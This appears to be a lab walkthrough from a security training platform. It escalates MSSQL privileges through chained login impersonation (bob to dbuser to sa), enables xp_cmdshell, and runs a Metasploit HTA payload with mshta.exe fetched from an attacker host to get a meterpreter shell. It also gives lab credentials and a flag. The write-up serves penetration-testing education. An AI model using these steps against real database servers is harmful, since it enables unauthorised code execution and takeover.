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Important Note: This document illustrates all the important steps required to complete this lab.
This is by no means a comprehensive step-by-step solution for this exercise. This is only
provided as a reference to various commands needed to complete this exercise and for your
further research on this topic. Also, note that the IP addresses and domain names might be
different in your lab.

Kali Machine

Step 1: Check if the provided machine/domain is reachable.

Command: ping -c 4 demo.ine.local

https://attackdefense.com/challengedetails?cid=2411


Step 2: Run a Nmap scan against the target IP.

Command: nmap demo.ine.local



Multiple ports are open. MSSQL default port 1433 is also open.

Step 3: Run the ms-sql-info Nmap script to discover MSSQL server information.

Command: nmap --script ms-sql-info -p 1433 demo.ine.local

The target is running “Microsoft SQL Server 2019”.

Step 4: Use mssqlclient.py python script to connect to the target server.

Link: https://github.com/SecureAuthCorp/impacket/blob/master/examples/mssqlclient.py

Command: mssqlclient.py bob:KhyUuxwp7Mcxo7@demo.ine.local

https://github.com/SecureAuthCorp/impacket/blob/master/examples/mssqlclient.py


Connected to the SQL Server.

Step 5: Checking the version

Command: select @@version;

Discovered the target machine OS and the MSSQL version.

Step 6: Check if the current user (bob) has the sysadmin role rights.

The sysadmin is a fixed server role that is designed to provide accounts assigned to the role full
control over all aspects of the SQL Server instance. By default, the sa (root) account is
assigned to the sysadmin role.

Command: select loginname from syslogins where sysadmin = 1;



Only sa user is assigned to the sysadmin role.

Step 7: Try to enable xp_cmdshell

What is xp_cmdshell:

Spawns a Windows command shell and passes in a string for execution. Any output is returned
as rows of text.

Read More:
https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshel
l-transact-sql?view=sql-server-ver15

Command: enable_xp_cmdshell

The current user (bob) does not have permission to enable xp_cmdshell.

Step 8: Check if there is any user account that allows user impersonation.

Command: SELECT distinct b.name FROM sys.server_permissions a INNER JOIN
sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name
= 'IMPERSONATE'

https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql?view=sql-server-ver15
https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql?view=sql-server-ver15


The sa and dbuser allow impersonation.

Step 9: Try to impersonate the sa user directly from the bob account.

Commands: SELECT SYSTEM_USER
EXECUTE AS LOGIN = 'sa'

Received an error, the bob user doesn't have the permission to impersonate the sa user.

Step 10: Try to impersonate the dbuser user.

Commands: SELECT SYSTEM_USER
EXECUTE AS LOGIN = 'dbuser'
SELECT SYSTEM_USER



It worked, the current session is running as a dbuser. This confirms that the bob user can
impersonate the dbuser.

Step 11: From the dbuser try to impersonate the sa user

Commands: SELECT SYSTEM_USER
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER



Awesome! Escalated to the sa user from the dbuser.

So, what exactly has happened?

The MSSQL database is configured with incorrect user impersonation configurations.

The bob user can impersonate the dbuser and the dbuser can impersonate the sa user.

So, while having access to the dbuser one can execute the command as a sa user by
impersonating it.

bob -> dbuser -> sa

Step 12: Try to enable xp_cmdshell

Command: enable_xp_cmdshell



This time it worked.

Step 13: Execute command on the target server via xp_cmdshell.

Command: EXEC xp_cmdshell "whoami"

The MSSQL server running as an NT Service\MSSQL$SQLEXPRESS.

Step 14: Get the meterpreter session using a malicious hta server.

Open another terminal and run the Metasploit framework and use the hta_server module.

HTA Web Server:

This module hosts an HTML Application (HTA) that when opened will run a payload via
Powershell. When a user navigates to the HTA file they will be prompted by IE twice before the
payload is executed.

Source: https://www.rapid7.com/db/modules/exploit/windows/misc/hta_server/

Commands: msfconsole -q
use exploit/windows/misc/hta_server
exploit

https://www.rapid7.com/db/modules/exploit/windows/misc/hta_server/


Step 15: Run the malicious hta server link on the target server to gain the shell.

Command: EXEC xp_cmdshell "mshta.exe http://10.10.15.2:8080/Ju9EybU.hta"

Received the meterpreter session

Commands: sessions
sessions -i 2
sysinfo
getuid



Note: If you don’t receive the meterpreter session run the command multiple times.

Step 16: Read the flag.

Command: cat C:\\flag.txt



Flag: c5b7da8ca7d051749cd5d3e1e741ef91
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